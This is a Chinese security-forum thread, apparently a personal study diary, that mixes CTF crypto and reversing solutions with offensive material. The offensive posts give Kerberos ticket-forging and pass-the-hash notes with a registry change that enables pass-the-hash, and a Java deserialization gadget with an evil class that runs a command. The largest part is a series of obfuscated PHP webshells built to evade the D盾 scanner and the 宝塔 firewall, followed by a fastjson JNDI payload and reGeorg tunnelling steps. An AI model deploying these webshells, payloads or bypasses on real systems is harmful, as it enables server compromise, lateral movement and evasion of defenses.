安全矩阵

 找回密码
 立即注册
搜索
楼主: littlebird

邹政的凌晨学习日记

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-11-30 21:17:46 | 显示全部楼层
这波的密码题有点恶心的,unctf密码学第二题,三重加密
  1. 年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。
  2. AZSLh2OofBA0C2qzi25mg2KsYqW7iCSdDq9aBLKsDBWyi259
复制代码


解密出来之后还得base64解密

解密后显然是栅栏密码,所以这里还算合理

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-11-30 21:19:12 | 显示全部楼层
今天属实有点搞笑的pow函数没用好
一个基础rsa居然不会做
  1. q= 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
  2. p= 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
  3. c= 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
  4. e = 65537
复制代码

解密脚本如下
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. import sympy
  4. q= 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
  5. p= 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
  6. c= 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
  7. e = 65537
  8. n=p*q
  9. print("n="+str(n))  
  10. q1=q-1
  11. p1=p-1
  12. phi=q1*p1
  13. d=gmpy2.invert(e,phi)
  14. print("d="+str(d))
  15. m=pow(c,d,n)
  16. print(long_to_bytes(m))
复制代码
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-12-3 00:00:46 | 显示全部楼层
今天做上传,密码,反序列化,逆向真是搞死人了,脑细胞要死绝的节奏
就拿逆向来说吧
这是一道python的逆向,反汇编嘛
  1.   3           0 LOAD_CONST               1 ('XXXXXX')       //This is flag,try to figure it out ! Don't forget to fill it in flag{} !
  2.               2 STORE_FAST               0 (flag)  

  3.   4           4 LOAD_CONST               2 (0)
  4.               6 BUILD_LIST               1
  5.               8 LOAD_CONST               3 (18)
  6.              10 BINARY_MULTIPLY
  7.              12 STORE_FAST               1 (num)

  8.   5          14 LOAD_CONST               2 (0)
  9.              16 STORE_FAST               2 (k)

  10.   6          18 LOAD_GLOBAL              0 (range)
  11.              20 LOAD_GLOBAL              1 (len)
  12.              22 LOAD_FAST                0 (flag)
  13.              24 CALL_FUNCTION            1
  14.              26 CALL_FUNCTION            1
  15.              28 GET_ITER
  16.         >>   30 FOR_ITER               112 (to 144)
  17.              32 STORE_FAST               3 (i)

  18.   7          34 LOAD_GLOBAL              2 (ord)
  19.              36 LOAD_FAST                0 (flag)
  20.              38 LOAD_FAST                3 (i)
  21.              40 BINARY_SUBSCR
  22.              42 CALL_FUNCTION            1
  23.              44 LOAD_FAST                3 (i)
  24.              46 BINARY_ADD
  25.              48 LOAD_FAST                2 (k)
  26.              50 LOAD_CONST               4 (3)
  27.              52 BINARY_MODULO
  28.              54 LOAD_CONST               5 (1)
  29.              56 BINARY_ADD
  30.              58 BINARY_XOR
  31.              60 LOAD_FAST                1 (num)
  32.              62 LOAD_FAST                3 (i)
  33.              64 STORE_SUBSCR

  34.   8          66 LOAD_GLOBAL              2 (ord)
  35.              68 LOAD_FAST                0 (flag)
  36.              70 LOAD_GLOBAL              1 (len)
  37.              72 LOAD_FAST                0 (flag)
  38.              74 CALL_FUNCTION            1
  39.              76 LOAD_FAST                3 (i)
  40.              78 BINARY_SUBTRACT
  41.              80 LOAD_CONST               5 (1)
  42.              82 BINARY_SUBTRACT
  43.              84 BINARY_SUBSCR
  44.              86 CALL_FUNCTION            1
  45.              88 LOAD_GLOBAL              1 (len)
  46.              90 LOAD_FAST                0 (flag)
  47.              92 CALL_FUNCTION            1
  48.              94 BINARY_ADD
  49.              96 LOAD_FAST                3 (i)
  50.              98 BINARY_SUBTRACT
  51.             100 LOAD_CONST               5 (1)
  52.             102 BINARY_SUBTRACT
  53.             104 LOAD_FAST                2 (k)
  54.             106 LOAD_CONST               4 (3)
  55.             108 BINARY_MODULO
  56.             110 LOAD_CONST               5 (1)
  57.             112 BINARY_ADD
  58.             114 BINARY_XOR
  59.             116 LOAD_FAST                1 (num)
  60.             118 LOAD_GLOBAL              1 (len)
  61.             120 LOAD_FAST                0 (flag)
  62.             122 CALL_FUNCTION            1
  63.             124 LOAD_FAST                3 (i)
  64.             126 BINARY_SUBTRACT
  65.             128 LOAD_CONST               5 (1)
  66.             130 BINARY_SUBTRACT
  67.             132 STORE_SUBSCR

  68.   9         134 LOAD_FAST                2 (k)
  69.             136 LOAD_CONST               5 (1)
  70.             138 INPLACE_ADD
  71.             140 STORE_FAST               2 (k)
  72.             142 JUMP_ABSOLUTE           30

  73. 10     >>  144 LOAD_GLOBAL              3 (print)
  74.             146 LOAD_FAST                1 (num)
  75.             148 CALL_FUNCTION            1
  76.             150 POP_TOP
  77.             152 LOAD_CONST               0 (None)
  78.             154 RETURN_VALUE
复制代码

而我一句一句翻译,现学现卖还是轻轻松松把源码编译出来了,并且用dis库进行了校验
源码如下:
  1. import dis
  2. def func(a):
  3.     flag="012345"
  4.     num=[0]*18
  5.     k=0
  6.     for i in range(len(flag)):
  7.         num[i]=(ord(flag[i])+i)^(k%3+1)
  8.         num[len(flag)-i-1]=(ord(flag[len(flag)-i-1])+len(flag)-i-1)^(k%3+1)
  9.         k=k+1
  10.     print(num)
复制代码

还挺简单的
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-12-3 11:54:55 | 显示全部楼层
忘记写解密脚本了,差点成了谜语人
解密脚本如下:
  1. def unfunc1():
  2.     flag=''
  3.     flag1=''
  4.     k=9
  5.     num_new=[102,56,105,103,116,84,96,120,115]
  6.     num = [115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]
  7.     for i in range(9,18):
  8.         flag = flag +chr((num[i]^((k%3))+1)-i)
  9.         flag1 = flag1 + chr(((num[18 - i - 1] ^ (k % 3 + 1)) - (18 - i - 1)))
  10.         k=k+1

  11.     # for i in range(9,18):
  12.     #     flag1 = flag1 + chr((num_new[18 - i - 1] ^ (k % 3 + 1) - (18 - i - 1)))
  13.     #     k=k+1
  14.     flag1 = flag1[::-1]
  15.     print(flag) #1s_fuNny!
  16.     print(flag1)
  17.     #print(flag1)
  18.     print(flag1+flag)
复制代码
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-1-11 20:50:30 | 显示全部楼层
票据和令牌
白银票据
Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的:
Ticket=Server Hash(Server Session Key+Client info+End Time)
利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。
利用条件
1.已知服务器的NTLM hash
2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等
黄金票据
和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。
利用条件
1.需要与KDC通信
2.需要krbtgt的hash
令牌
令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来,令牌有很多种,比如访问令牌(Access Token)表示访问控制操作主题的系统对象;密保令牌(Security Token)又叫作认证令牌或者硬件令牌,是一种计算机身份效验的物理设备,会话令牌是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是 Kerberos 协议。
其中注意:令牌窃取并非提权!

回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-1-14 22:42:19 | 显示全部楼层
1.1 PTH简介

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密hash值来获取明文密码,因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击,攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

  1. PTH限制
  2. 在03之后有了uac,所以本地只有sid 为500和administrators 组里的域账户能pth。域Domain admin默认在本地管理员组。但是sid 500账户的权限好像会受到限制。当uac某设置为1时,本地管理组内的用户都可以pth,域不变。
复制代码


修改注册表 改为1
  1. cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
复制代码

一些注意事项

        当我们机器处于域环境中时,如果客户端是以IP地址访问服务端的,那么此使仍旧会使用NTLM协议进行身份认证,PTH攻击不管是NTLM认证还是Kerberos认证都是存在的!

KB2871997补丁与PTH攻击

PTH无法使用sid 500以外的用户登录,是因为打了KB22871997补丁所导致的,安装KB2871997前后的对比发现并没有任何区别。而之前非administrator的本地管理员Pass The Hash失败被一些观点认为KB2871997的作用,但这实际上因为远程访问和UAC的限制!

远程访问和UAC

UAC是window Vista的新安全组件,2003版本是没有的。所以2003管理组内的用户还是可以网络登录的,而03之后的win7 win8 win10 2008 2012 2012R2 2016 2019 本地都是只能sid为500的允许网络远程访问!

根据微软官方关于远程访问和用户账户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的账户,会在网络上进行限制。

在使用本地用户进行远程登录时不会使用完全管理员权限,但是在域用户被加入到本地管理组员组后,域用户可以使用完全管理员的AccessToken运行。并且UAC不会生效,简而言之就是除了sid 500的用户之外可以PTH登录之外就是加入本地管理员组的域用户!
  1. KB2871997 此补丁具体更改点如下:

  2.        1.支持“ProtectedUsers”组

  3.        2.Restricted Admin RDP模式的远程桌面客户端支持

  4.        3.注销后删除LSASS中的凭据

  5.        4.添加两个新的SID

  6.        5.LSASS中删除明文凭证

  7.        6.支持“ProtectedUsers”组
复制代码

"ProtectedUsers"组是WindowsServer 2012 R2域中的安全组,"ProtectedUsers"组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密!想要使用mimikatz抓取这个组的hash,需要使用sekurlsa:ekeys

Restricted Admin RDP模式的远程桌面客户端支持

          注销后删除LSASS中的凭据,在这个更新之前,08什么的只要登陆过lsass内存中就会缓存明文密码、登陆凭证等。但是在打了补丁或者2012 win8 这种机器上只要用户注销就都没了。

          LSASS中删除明文凭证这里涉及到了Wdigest SSP,在此补丁出世之前。lsass中由各种SSP保存明文密码!但是在补丁出现之后,就只有Wdigest SSP能保存密码了。

          修改的Wdigest SSP的注册表,在这里还可以插入其他的SSP去记录明文
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-1-18 23:48:01 | 显示全部楼层
今天学到了一种神奇而又有意义的java的payload缩小技术(本篇来自先知社区,原帖:终极Java反序列化Payload缩小技术
介绍
实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的

本文以CommonsBeanutils1链为示例,重点在于三部分:

  1.     序列化数据本身的缩小
  2.     针对TemplatesImpl中_bytecodes字节码的缩小
  3.     对于执行的代码如何缩小(STATIC代码块)
复制代码


接下来我将展示如何一步一步地缩小,最终效果能够将YSOSERIAL生成的Payload缩小超过60%
YSOSERIAL
首先用YSOSERIAL工具直接生成CB1的链,看看Base64处理后的长度
  1. java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser
复制代码


生成后统计长度为:3692

  1. byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
  2. System.out.println(new String(data).length());
复制代码

构造Gadget
  1. 尝试不借助YSOSERIAL直接构造CB1的链
  2. <dependency>
  3.     <groupId>commons-beanutils</groupId>
  4.     <artifactId>commons-beanutils</artifactId>
  5.     <version>1.9.2</version>
  6. </dependency>
复制代码

构造代码
  1. public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
  2.     try {
  3.         TemplatesImpl templates = new TemplatesImpl();
  4.         setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
  5.         setFieldValue(templates, "_name", "HelloTemplatesImpl");
  6.         setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  7.         final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  8.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  9.         queue.add("1");
  10.         queue.add("1");
  11.         setFieldValue(comparator, "property", "outputProperties");
  12.         setFieldValue(queue, "queue", new Object[]{templates, templates});
  13.         return serialize(queue);
  14.     } catch (Exception e) {
  15.         e.printStackTrace();
  16.     }
  17.     return new byte[]{};
  18. }
复制代码

恶意类
  1. public class EvilByteCodes extends AbstractTranslet {
  2.     static {
  3.         try {
  4.             Runtime.getRuntime().exec("calc.exe");
  5.         } catch (Exception e) {
  6.             e.printStackTrace();
  7.         }
  8.     }

  9.     @Override
  10.     public void transform(DOM document, SerializationHandler[] handlers) {

  11.     }

  12.     @Override
  13.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

  14.     }
  15. }
复制代码

读取字节码并设置到Gadget中,序列化后统计长度:2728

相比YSOSERIAL直接生成的,缩小了26.1%
其实上文中还有三处可以优化:

  1.     设置_name名称可以是一个字符
  2.     其中_tfactory属性可以删除(分析TemplatesImpl得出)
  3.     其中EvilByteCodes类捕获异常后无需处理
复制代码
  1. setFieldValue(templates, "_name", "t");
  2. // setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

  3. try {
  4.     Runtime.getRuntime().exec("calc.exe");
  5. } catch (Exception ignored) {
  6. }
复制代码

经过这三处优化后得到长度:2608

相比YSOSERIAL直接生成的,缩小了29.3%
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-1-25 23:50:22 | 显示全部楼层
在经历过一次渗透失败的我也是疯狂学习了一波
这波发现了一个bypass很有意思
Bypass了D盾
以d盾2.1.6.2扫不出来为目标,开始了尝试
说道php,大部分的webshell(小马)归根到最后都是希望能够实现代码(或命令)执行,无外乎就离不开eval和assert,所以这篇文章也是以此为核心,提供一些绕过的思路。(抛砖引玉~)
字符串函数(与类的结合)
    关于字符串函数,尝试了很多,核心在于利用字符串函数进行各种错综复杂的拼接,然后实现可变函数调用,实现代码执行
    但是d盾对于拼接和可变函数的识别是比较有效的
    比如:之前在p师傅博客看的这种


    确实够绕够混淆,但是放在d盾面前直接爆红了
    所以直接赤裸裸的用可变函数这条思路可以暂且放下了
    那么用字符串函数处理一下简单的放到函数里面效果如何

好像也是不行,那放到类里面会如何呢?

  1. class A{
  2.     public function test($name){
  3.         $temp = substr($name,6);
  4.         $name = substr($name,0,6);
  5.         $name($temp);
  6.     }
  7. }
  8. $obj = new A();
  9. $obj->test($_GET[1]);
复制代码

  1.     payload=shell.php?0=assertphpinfo();
复制代码

    看来真应了那句话,没有什么是加一层解决不了的,如果有,那就再加一层,本文下面的很多尝试都有或多或少基于这句话,在混淆静态扫描很有效果。
类与魔术方法

既然可以用类写,那是不是可以把类里魔术方法都试验一遍
构造和析构方法
  1. class A{
  2.     private $name;
  3.     public function __construct($name)
  4.     {
  5.         $this->name = $name;
  6.         $temp = substr($name,6);
  7.         $name = substr($name,0,6);
  8.         $name($temp);
  9.     }
  10. }
  11. $obj = new A($_GET[1]);

  12. ## 析构方法
  13. class B{
  14.     private $name;
  15.     public function __construct($name)
  16.     {
  17.         $this->name = $name;
  18.     }

  19.     public function __destruct()
  20.     {
  21.         $temp = substr($this->name,6);
  22.         $name = substr($this->name,0,6);
  23.         $name($temp);
  24.     }

  25. }
  26. $obj = new B($_GET[1]);
复制代码


get和set方法
  1. ## set方法
  2. class Demo{

  3.     public function __set($name, $value)
  4.     {
  5.         $temp = substr($name,6);
  6.         $name = substr($name,0,6);
  7.         $name($temp);
  8.     }
  9. }
  10. $obj = new Demo();
  11. $obj->$_GET[1]='占位的';

  12. ## get方法
  13. class Demo{
  14.     public function __get($name)
  15.     {
  16.         $temp = substr($name,6);
  17.         $name = substr($name,0,6);
  18.         $name($temp);
  19.     }
  20. }
  21. $obj = new Demo();
  22. echo $obj->$_GET[1];
复制代码



    整体看会发现get和set方法也是比较简单的,比较省力。而且,这个字符串处理函数确实好用,这也算是增加一层的感觉(后面也有相关案例)

其他魔术方法

其他魔术方法都可以沿用这种方式,与此雷同,我就把代码直接放过来,不多解释了,大家可以在此基础更多发挥
  1. ## toString方法
  2. class Demo
  3. {
  4.     private $name;
  5.     public function __construct($name)
  6.     {
  7.         $this->name = $name;
  8.     }

  9.     public function __toString()
  10.     {
  11.         $temp = substr($this->name,6);
  12.         $name = substr($this->name,0,6);
  13.         $name($temp);
  14.         return '占位';
  15.     }
  16. }
  17. $obj = new Demo($_GET[1]);
  18. echo $obj;

  19. ## clone方法
  20. class Demo
  21. {
  22.     private $name;
  23.     public function __construct($name)
  24.     {
  25.         $this->name = $name;
  26.     }
  27.     public function __clone()
  28.     {
  29.         $temp = substr($this->name,6);
  30.         $name = substr($this->name,0,6);
  31.         $name($temp);
  32.     }
  33. }
  34. $obj = new Demo($_GET[1]);
  35. $obj2 = clone $obj;

  36. ## call方法
  37. class Demo
  38. {
  39.     public function __call($name,$args)
  40.     {
  41.         $name($args[0]);
  42.     }
  43. }
  44. $obj = new Demo();
  45. $obj->$_GET[0]($_GET[1]);

  46. ## callStatic方法(最简单)
  47. class Demo{
  48.     public static function __callStatic($name, $arguments)
  49.     {
  50.         $name($arguments[0]);
  51.     }
  52. }
  53. Demo::$_GET[0]($_GET[1]);

  54. ## isset方法
  55. class Demo{
  56.     public function __isset($name){
  57.         $temp = substr($name,6);
  58.         $name = substr($name,0,6);
  59.         $name($temp);
  60.     }
  61. }
  62. $obj = new Demo();
  63. isset($obj->$_GET[0]);

  64. ## unset方法
  65. class Demo{
  66.     public function __unset($name){
  67.         $temp = substr($name,6);
  68.         $name = substr($name,0,6);
  69.         $name($temp);
  70.     }
  71. }
  72. $obj = new Demo();
  73. unset($obj->$_GET[0]);
复制代码

可以看出来,能够传参的魔术方法最简单,而d盾都是扫不出来的,只能说php语法过于灵活,诸如Demo:_GET[0]($_GET[1])或者是$obj->$_GET[0]($_GET[1])这种形式的语法结构,正则匹配也是很难去推测的。
代码结构与包含(php7可用)

从上个板块的试探中已经看出了一些端倪,那就是可以通过不同的代码结构进行嵌套,而绕过扫描,那我们就来进行下一步的试探。
try...catch...

    简单包在函数里
  1. function say($name){
  2.   try{
  3.       $temp = substr($name,6);
  4.       $name = substr($name,0,6);
  5.       $name($temp);
  6.   }catch (Exception $e){
  7.       var_dump($e);
  8.   }
  9. }
  10. say($_GET[1]);
复制代码


这样就解决的文章开头部分无法在函数里出现的问题

    包含类里面(php7可用)
    因为php7之后,assert已经作为语言构造器的方式出现,也就是说不可以向可变函数那样,通过拼接执行,所以必须要直面这个问题。以下这个方法可以直接用assert,而实现绕过。
  1. class A{
  2.     private $name;
  3.     public function __construct($name)
  4.     {
  5.         $this->name = $name;
  6.     }
  7.     public function __destruct()
  8.     {
  9.         try{
  10.             assert($this->name);
  11.         }catch (Exception $e){
  12.             $e->getMessage();
  13.         } finally {
  14.             echo 'suibian';
  15.         }
  16.     }
  17. }
  18. new A($_GET[1]);
复制代码

可以看出,多加个一层,就扫不出来了,try...catch...的结构很灵活,还可以在catch,finally的代码块里写。
  1. ## 写到catch里
  2. class A{
  3.     public function __destruct()
  4.     {
  5.         try{
  6.             throw new ErrorException($_GET[1]);
  7.         }catch (Exception $e){
  8.             assert($e->getMessage());
  9.         } finally {
  10.             echo 'suibian';
  11.         }
  12.     }
  13. }
  14. new A();

  15. ## 写到finally里
  16. class A{
  17.     public function __destruct()
  18.     {
  19.         try{
  20.             $this->a = $_GET[1];
  21.             $name=substr($this->a,0);
  22.         }catch (Exception $e){
  23.             echo 'abc';
  24.         } finally {
  25.             assert($name);
  26.         }
  27.     }
  28. }
  29. new A();
复制代码

其中,写到finally中做了一个处理,如果直接用会被识别出来,所以上面加了一个字符串函数。另外,换了变量,竟然作用域能够得到,还是php够灵活,其实用加个构造方法就没什么问题的,只不过想让代码量更短小(其实就是懒了)
包多层混淆(php7可用)

刚刚试过函数包含try...catch...,但是,还是用的可变函数,能不能assert甚至eval也都能直接用,试验下来,直接放到try和finally里是不行的(还可以试验一下字符串处理函数。。。),放到catch里可以
  1. function show()
  2. {
  3.     try{
  4.         throw new ErrorException($_GET[1]);
  5.     }catch (Exception $e){
  6.         assert($e->getMessage());
  7.     } finally {
  8.         echo 'suibian';
  9.     }
  10. }
  11. show();
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-2-3 19:40:35 | 显示全部楼层
### Notes List
- ????‍☠ [打点-隐藏资产探测-host碰撞](https://github.com/pen4uin/Pente ... t%E7%A2%B0%E6%92%9E)
- ????‍☠ ["登录框" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ [宝塔防火墙 Bypass](https://github.com/pen4uin/Pente ... %AB%E5%A2%99-bypass)
- ????‍☠ [fastjson bypass 某WAF](https://github.com/pen4uin/Pente ... bypass-%E6%9F%90waf)
- ????‍☠ [内网-代理(reGeorg+Proxifier+Win)](https://github.com/pen4uin/Pente ... regeorgproxifierwin)
- ????‍☠ [内网-代理(reGeorg+proxychains+Linux)](https://github.com/pen4uin/Pente ... orgproxychainslinux))
- ????‍☠ [内网-代理(ssocks反向代理)](https://github.com/pen4uin/Pente ... orgproxychainslinux))
- ????‍☠ [打点-Druid未授权访问->RCE](https://github.com/pen4uin/Pente ... %AE%BF%E9%97%AE-rce)
- ????‍☠ [打点-任意文件下载->RCE](https://github.com/pen4uin/Pente ... %B8%8B%E8%BD%BD-rce)
- ????‍☠ [pocsuite3代理使用](https://github.com/pen4uin/Pente ... 6%E9%A3%9F%E7%94%A8)
- ????‍☠ [打点-子域名爆破-泛解析问题](https://github.com/pen4uin/Pente ... 0%E9%97%AE%E9%A2%98)
- ????‍☠ ["SQL注入" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ ["文件删除" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ ["Java SSRF" 攻击面](https://github.com/pen4uin/Pente ... B%E5%87%BB%E9%9D%A2)
- ????‍☠ [黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)](https://github.com/pen4uin/Pente ... %B8%8B%E8%BD%BD-rce)
- ????‍☠ [打点-ThinkPHP 5.0.X(debug模式+空数组)](https://github.com/pen4uin/Pente ... A%E6%95%B0%E7%BB%84)
- ????‍☠ [内网-CMD获取RDP端口](https://github.com/pen4uin/Pente ... p%E7%AB%AF%E5%8F%A3)
- ????‍☠ [内网-规避杀软 Windows Defender](https://github.com/pen4uin/Pente ... AF-windows-defender)
- ????‍☠ [打点-文件下载-mlocate.db](https://github.com/pen4uin/Pente ... %E9%9B%86-mlocatedb)
- ????‍☠ [内网-CMD获取WIFI密码](https://github.com/pen4uin/Pente ... i%E5%AF%86%E7%A0%81)
- ????‍☠ [内网-DMZ区突破](https://github.com/pen4uin/Pente ... A%E7%AA%81%E7%A0%B4)
- ????‍☠ [内网-PowerShell命令历史记录](https://github.com/pen4uin/Pente ... 2%E8%AE%B0%E5%BD%95)
- ????‍☠ [内网-定位多网卡主机](https://github.com/pen4uin/Pente ... %9C%BAoxid-resolver)
- ????‍☠ [内网-主机"不出网"](https://github.com/pen4uin/Pentest_Notes/)
- ????‍☠ [内网-跨域](https://github.com/pen4uin/Pentest_Notes/)
- ????‍☠ [打点-Confluence RCE利用](https://github.com/pen4uin/Pente ... e%E5%88%A9%E7%94%A8)
- ????‍☠ [打点-文件下载-.net环境](https://github.com/pen4uin/Pente ... t%E7%8E%AF%E5%A2%83)
- ????‍☠ [内网-vSphere & vCenter的后利用姿势](https://github.com/pen4uin/Pente ... 8%E5%A7%BF%E5%8A%BF)
- ????‍☠ [钓鱼-邮箱探针](https://github.com/pen4uin/Pente ... 1%E6%8E%A2%E9%92%88)
- ????‍☠ [内网-Citrix的后渗透思路](https://github.com/pen4uin/Pente ... F%E6%80%9D%E8%B7%AF)
- ????‍☠ [打点-Confluence后利用思路](https://github.com/pen4uin/Pente ... 8%E6%80%9D%E8%B7%AF)
- ????‍☠ [基建-关于学习RFC规范的必要性](https://github.com/pen4uin/Pente ... 5%E8%A6%81%E6%80%A7)
- ????‍☠ [基建-负载均衡场景下的渗透](https://github.com/pen4uin/Pente ... 4%E6%B8%97%E9%80%8F)
- ????‍☠ [云安全-K8S场景下的渗透](https://github.com/pen4uin/Pente ... 4%E6%B8%97%E9%80%8F)
- ????‍☠ [信息收集-FoFa获取闭源软件源码](https://github.com/pen4uin/Pente ... 6%E6%BA%90%E7%A0%81)
- ????‍☠ [打点-文件写入->RCE 的路径](https://github.com/pen4uin/Pente ... 4%E8%B7%AF%E5%BE%84)
- ????‍☠ [内网-Microsoft ATA 规避](https://github.com/pen4uin/Pente ... -%E8%A7%84%E9%81%BF)
### 隐藏资产探测-host碰撞

step1: 搜集子域名

step2: 搜集IP (目标域名历史解析IP)

step3: 以IP+域名的形式进行碰撞


传送:
```
https://github.com/fofapro/Hosts_scan
https://github.com/shmilylty/OneForAll  
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名
```
参考:
```
https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
```
`复现:`

**环境搭建**

实验环境
```shell
# 安装nginx
apt install nginx
# 创建nginx配置文件
/usr/sbin/nginx -t
# 配置文件位置
/etc/nginx/nginx.conf
```

实战环境(模拟)

- 反代
- 限制IP访问

文件nginx.conf配置如下

```
http {
        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        # include /etc/nginx/sites-enabled/*;
        # 限制IP访问
        server {
                listen 80 default;
                server_name _;
                return 403;
                }
        server {
                listen       80;
                server_name  nginx.lab.com;
                location / {
                    proxy_pass http://10.10.10.12:8000;
                    index  index.html index.htm index.jsp;
                }
            }
}
```

**复现效果**

如下图所示

- IP访问
![image]()

- 域名访问

Windows

> \# 修改 hosts
>
> notepad %windir%\system32\drivers\etc\hosts
>
> \# 添加以下绑定关系
>
> 10.10.10.12 nginx.lab.com

![image]()

使用Burpsuite复现

![image]()

### "登录框" 攻击面
- 用户名枚举
- 空口令
- 弱口令
- 登录认证绕过
- 暴力破解
- 图形验证码绕过
- 短信验证码绕过(或爆破)
- 短信轰炸(重放)
- 邮箱轰炸(重放)
- 密码明文传输
- SQL注入(万能密码)
- 任意用户密码重置
- 目录遍历
- 敏感信息泄露
- 框架漏洞(shiro)
- XSS
- JS文件

### 宝塔防火墙 Bypass
- 传参方式 $_COOKIE
- 编码绕过流量检测

*3重 base64 失败*(似乎检测了关键字‘base64’)
![image]()

*3重 url编码 成功*

![image]()

贴两个????(`侵删`)

demo1:
```php
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())p;
?>
```
demo2:
```php
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>
```

### fastjson bypass 某WAF
demo
```
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0
```
![image]()

bypass
```
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
```
### 内网渗透-代理(reGeorg+Proxifier+Win)

```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888
```
proxifier配置代理如下
- 127.0.0.1:8888
- socks5

### 内网渗透-代理(reGeorg+proxychains+Linux)
```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561
```
proxychains配置如下:
- vim /etc/proxychains.conf

![image]()

demo:
